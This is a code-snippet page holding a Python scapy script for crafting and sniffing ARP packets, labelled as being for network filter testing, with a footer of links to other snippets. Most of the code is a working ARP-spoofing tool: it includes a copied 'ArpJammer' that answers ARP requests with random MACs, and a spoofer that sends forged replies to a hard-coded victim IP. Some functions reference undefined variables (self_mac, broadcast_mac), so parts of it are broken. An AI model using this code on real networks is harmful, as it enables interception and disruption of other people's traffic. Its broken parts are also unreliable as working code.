python一些快速脏的示例代码和操作arp数据包的函数(用于网络过滤器测试)。(代码片段)

author author     2022-12-26     283

关键词:

from scapy.all import *


# change this to your test machine's MAC address
SELF_MAC = '00:0c:29:67:22:c2'

BCAST_MAC = 'ff:ff:ff:ff:ff:ff'


# this will send a PROBE ARP request packet to the supplied IP address argument
def create_ARP_request_probe(ipaddr_to_probe):
    arp = ARP(psrc='0.0.0.0', hwsrc=SELF_MAC, pdst=ipaddr_to_probe)
    return Ether(dst=BCAST_MAC)/arp


# this will send a gratuitous REQUEST ARP packet, pretending to have the IP
# address set to `ipaddr_to_broadcast`
def create_ARP_request_gratuitous(ipaddr_to_broadcast):
    arp = ARP(psrc=ipaddr_to_broadcast, hwsrc=SELF_MAC, pdst=ipaddr_to_broadcast)
    return Ether(dst=BCAST_MAC)/arp


def create_ARP_request_directed(
        ipaddr_target,          # this is the target machine, set this to its actual IP address
        ipaddr_src_spoof,       # this is what the target machine will think this ARP packet comes from, might be spoofed
        eth_dest=BCAST_MAC):    # either leave as is (broadcast), or set it to the target machine's actual MAC address
    arp = ARP(psrc=ipaddr_src_spoof, hwsrc=self_mac, pdst=ipaddr_target)
    eth = Ether(dst=eth_dest)
    return eth/arp


# similar to create_ARP_request_gratuitous, except we are using RESPONSE ARP packet
# with op code 2 (is-at)
def create_ARP_response_gratuitous(ipaddr_to_advertise):
    arp = ARP(psrc=ipaddr_to_advertise, hwsrc=self_mac, pdst=ipaddr_to_advertise, hwdst=self_mac, op=2)
    eth = Ether(dst=broadcast_mac)
    return eth/arp


# create an unsolicited ARP RESPONSE packet to the target nachine;
# could be used to spoof a response packet RIGHT AFTER seeing a request, to pretend to be `ipaddr_to_spoof`
def create_ARP_response_directed(
        ipaddr_to_spoof,    # the IP address we are claiming to be, within the ARP RESPONSE packet
        ipaddr_target,      # the target machine's real IP address
        mac_target):        # the target machine's real MAC address
    arp = ARP(hwsrc=SELF_MAC, psrc=ipaddr_to_spoof, hwdst=mac_target, pdst=ipaddr_target, op=2)
    eth = Ether(dst=mac_target)
    return eth/arp


## !!! HOW TO SNIFF ARP PACKETS (and possibly respond with SPOOFS) !!! ##

## First, some sample code (taken from http://www.craigdodd.co.uk/posts/exploiting-arp-with-python) ##

import threading
import time
 
from scapy.all import *
 
class ArpJammer(threading.Thread):
    def __init__(self, pkt):
        self.pkt = pkt
        self.pkt_count = 10
        super(ArpJammer, self).__init__()
 
    def run(self):
        a = ARP()
        a.op = 2
        a.psrc = self.pkt[ARP].pdst
        a.hwsrc = RandMAC()
        a.pdst = self.pkt[ARP].psrc
        a.hwdst = self.pkt[ARP].hwsrc
        p = Ether(dst=self.pkt[ARP].hwsrc) / a
        for i in range(self.pkt_count):
            sendp(p)
            time.sleep(2)
 
def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op == 1:
        ArpJammer(pkt).start()
 
def sniff_with_jammer():
    sniff(prn=arp_monitor_callback, filter='arp', store=0)

## End sample ##


VICTIM_IPADDR = '192.168.253.149'

def send_spoofed_ARP_response(pkt):
    arp = pkt[ARP]
    req_who_has = arp.pdst
    req_ipaddr = arp.psrc
    req_mac = arp.hwsrc
    
    resp_spoofed = create_ARP_response_directed(req_who_has, req_ipaddr, req_mac)
    #resp_spoofed.display()
    sendp(resp_spoofed)

def arp_monitor_spoofer(pkt):
    if ARP in pkt and pkt[ARP].op == 1:     # only act on REQUEST ARP
        if pkt[ARP].psrc == VICTIM_IPADDR:
            send_spoofed_ARP_response(pkt)

def sniff_with_spoofer():
    sniff(prn=arp_monitor_spoofer, filter='arp', store=0)

javascript快速和脏的表单验证器(代码片段)

查看详情

sh一次性快速和脏的rsyncd服务器(代码片段)

查看详情

python快速和脏的脚本用于从googleapps电子邮件下载最新的库存表并保存到服务器以进行进一步处理(代码片段)

查看详情

golang非常快速和脏的stackoverflow作业使用go进行解析(代码片段)

查看详情

sh使用bash和cloudflare快速而又脏的ddns(兼容apiv4)(代码片段)

查看详情

python通过clouderamanagerapi转储集群/服务/角色配置的快速而脏的脚本http://cloudera.github.io/cm_api/。(代码片段)

查看详情

flask学习笔记(-操作数据库)

Python数据库框架大多数的数据库引擎都有对应的Python包,包括开源包和商业包。Flask并不限制你使用何种类型的数据库包,因此可以根据自己的喜好选择使用MySQL、Postgres、SQLite、Redis、MongoDB或者CouchDB。如果这些都无法满足需求,还... 查看详情

ruby使用ruby进行快速而脏的pdf签名(使用origami)(代码片段)

查看详情

python编写简单的arp欺骗工具(代码片段)

...计算机或所有计算机无法正常连线。工具准备软件:Python3(已安装scapy包)如果未安装 查看详情

arp协议,ip协议,子网划分(代码片段)

一arp协议如果计算机1和计算机2通信,计算机1首先需要拿到计算机2的ip地址和端口通过子网地址判断出计算机1和计算机2是否在同一局域网内假如子网地址相等。因为arp协议在传输数据的时候其内部会进行以下几步操作这个时候a... 查看详情

wireshark抓包分析arp协议(代码片段)

...专栏简介」:此文章已录入专栏《计算机网络零基础快速入门》使用Wireshark工具抓取ARP协议的数据包,分析ARP协议的地址解析过程、自主学习逻辑以及初次访问和多次访问的区别。第一步:Ping本网段内任意主机第二... 查看详情

python包学习:-了解

本节先做一些了解。##numpy参考:NumPy使用NumPy教程NumPy是Python中科学计算的基础包。它是一个Python库,提供多维数组对象,各种派生对象(如掩码数组和矩阵),以及用于数组快速操作的各种API,有包括数学、逻辑、形状操作、... 查看详情

大数据快速搭建环境(代码片段)

...操作,本环境只适合小白进行快速搭建一套环境,之后熟悉一些操作,看了一些现有博客比较乱,整合一下下载虚拟机镜像包。链接:https: 查看详情

vs_tun和vs_dr的arp问题(代码片段)

1.ARP协议简介ARP(AddressResolutionProtocol)协议称为地址解析协议,用于将主机IP地址解析为主机的MAC地址,即IP<-->MAC之间一一映射。RARP协议相反,是将MAC地址解析为IP地址。ARP解析时分两种情况:解析目标和自己在同一网段。A解... 查看详情

交互式数据包处理程序scapy入门指南(代码片段)

概述Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tra... 查看详情

发送自修改数据包进行arp欺骗

...丶使用平台 对MicrosoftVisualStudio2010编译平台进行前期操作  项目-->**属性(alt+F7)  配置属性-->清单工具-->输入和输出-->嵌入清单-->否  配置属性-->C/C++-->常规-->附加包含目录--> &nbs... 查看详情

Python快速数据读入和切片

】Python快速数据读入和切片【英文标题】:Pythonquickdataread-inandslice【发布时间】:2017-04-1212:21:35【问题描述】:我在python中有以下代码,我想我需要一些帮助来优化它。我正在读取几百万行数据,但如果每行一个坐标不符合我的... 查看详情

arp

...般值为6,死记。协议地址长度:一般值为4,死记。opcode操作码:四种操作类型,ARP请求为1,ARP应答为2,RARP请求为3和RARP应答为4发送端硬件地址:发送端IP 查看详情